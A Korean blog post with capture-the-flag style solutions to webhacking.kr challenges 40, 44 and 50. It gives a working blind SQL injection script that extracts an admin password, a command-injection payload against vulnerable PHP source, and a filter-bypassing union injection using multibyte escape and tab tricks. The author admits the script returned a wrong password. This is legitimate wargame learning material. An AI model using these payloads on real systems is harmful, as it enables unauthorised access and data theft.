webhacking.kr 40번, 44번, 50번 풀이

julia·2021년 5월 15일
1

💡 40번 문제 풀이


no 값에 1||1=1# 로 sql injection을 해봤더니

게스트로 로그인이 되었다. no 값을 통해 공격해야 한다는 걸 알게 되었고, 1은 보통 주인이 있는 no값(참 값)이기 때문에 "0||1=1" 과 "0||1=2" 를 넣어보았는데 각각 success와 failure 문구가 나왔다. 따라서 쿼리의 결과값이 다르기 때문에 우리는 blind injection을 사용해야 함을 알 수 있다.

한편, webhacking 사이트에서 1은 게스트, 2는 어드민, 3부터는 비어있는 no값이라고 한다. 0(거짓 값)||no=2(어드민의 no값)# 를 넣어보았는데

이런 창이 뜬다. 아마 admin으로 로그인하는 것이 목표인 것 같다.
no값에 0||id='admin'&&length(pw)>0 을 입력해서 결과 확인 후 길이를 찾는 쿼리를 결정하고자 했었는데, failure이 떴다. 찾아보니 admin을 hex값으로 변환하면 해결할 수 있다고 한다.
0||id=0x61646d696e&&length(pw)>0
이렇게..ㅎㅎ 0을 늘려가며 확인하다가 길이가 10이라는 걸 알게 되었다. 10보다 길면 코드를 돌리려고 했는데 너무 빨리 찾아버렸다. 그래도 코드는 작성해보기!

import requests

url = 'https://webhacking.kr/challenge/web-29/'
cookies = {"PHPSESSID": "세션아이디"}
TRUE_PHRASE = 'admin password : '

def query(payload):
    res = requests.get(url + payload)
    content = res.text
    return TRUE_PHRASE in content

def pw_length():
    pw_len = 1
    while query("?no=0||length(pw)={}&id=guest&pw=guest".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len

def find_pw():
    pw_len = pw_length()
    pw = ''
    for i in range(1, pw_len + 1):
        for char in range(33, 128):
            query1 = "?no=0||substr(pw,"+str(i)+",1)="+str(hex(char)) + "&id=guest&pw=guest"
            r = requests.get(url + query1, cookies=cookies)
            if r.text.find(TRUE_PHRASE) != -1:
                pw += chr(char)
                print('pw: {}'.format(pw))
                break
    print('pw: {}'.format(pw))

find_pw()

결과는 LCK_ADMIN 이 나왔다. 근데 계속 아니라고 떠서 찾아보니까 답이 luck_admin이었다. 내 코드에서 어떤 문제가 있어서 두번째 u가 출력되지 않는지, 왜 소문자만 가능한건지 아직 잘 모르겠다.. 알게 되면 기록해야지ㅜㅜ

💡 44번 문제 풀이

<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>

이 문제는 저번에 썼던 OS 커맨드 공격을 이용하여 해결했다. id 값을 모르기 때문에 ls 명령어로 데이터가 노출되도록 유도한 것이다. 입력칸에 ';'ls 를 입력하면 echo 'hello!' 에서 명령이 한번 끊기고, 그 다음 ls 명령어가 정상적으로 먹힌다.
system("echo 'hello! ';'ls'");
노출된 데이터를 url에 붙여넣으면 플래그값을 얻을 수 있다.

💡 50번 문제 풀이

<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>

lv를 3으로 맞춰주어야 한다. 이때 우리는 pw값을 모르기 때문에 주석을 이용하면 좋을 것이다. (벨로그에서는 마크다운 문법을 쓰므로 주석 표시가 안써지는데 /** 를 사용하면 된다.)

id='{_GET['id']}' and pw=md5('{_GET['pw']}') 여기서
' and pw = md5(' 까지를 주석처리 해준다.
그리고 lv값을 조작하기 위해 주석처리된 부분 이후에 union을 사용한다. -> union select 3 # ')

마지막으로 id 값에서 싱글 쿼터를 잘 닫아주면 되는데(union 구문 뒤에 주석처리로 싱글쿼터 하나가 없어짐), guest' 라고만 입력하면 안되고 싱글쿼터 앞에 %aa 를 붙여야 한다. -> https://securitynote.tistory.com/3 참고
또한 공백도 필터링되고 있으니 %09로 변경해준다.
결론적으로 url 인코딩 과정까지 거치고 나면 답은,
?id=guest%aa%27%09/&pw=/union%09select%093%23
가 된다!

😎 느낀점

50점짜리 문제까지는 이제 그래도 많이 고민하고 이것저것 해보면 풀리는 것 같다. 그 이후가 문제지만.. 초반에 비해 조금씩 성장하는 느낌이 들어 뿌듯하다!

profile
Move Forward

0개의 댓글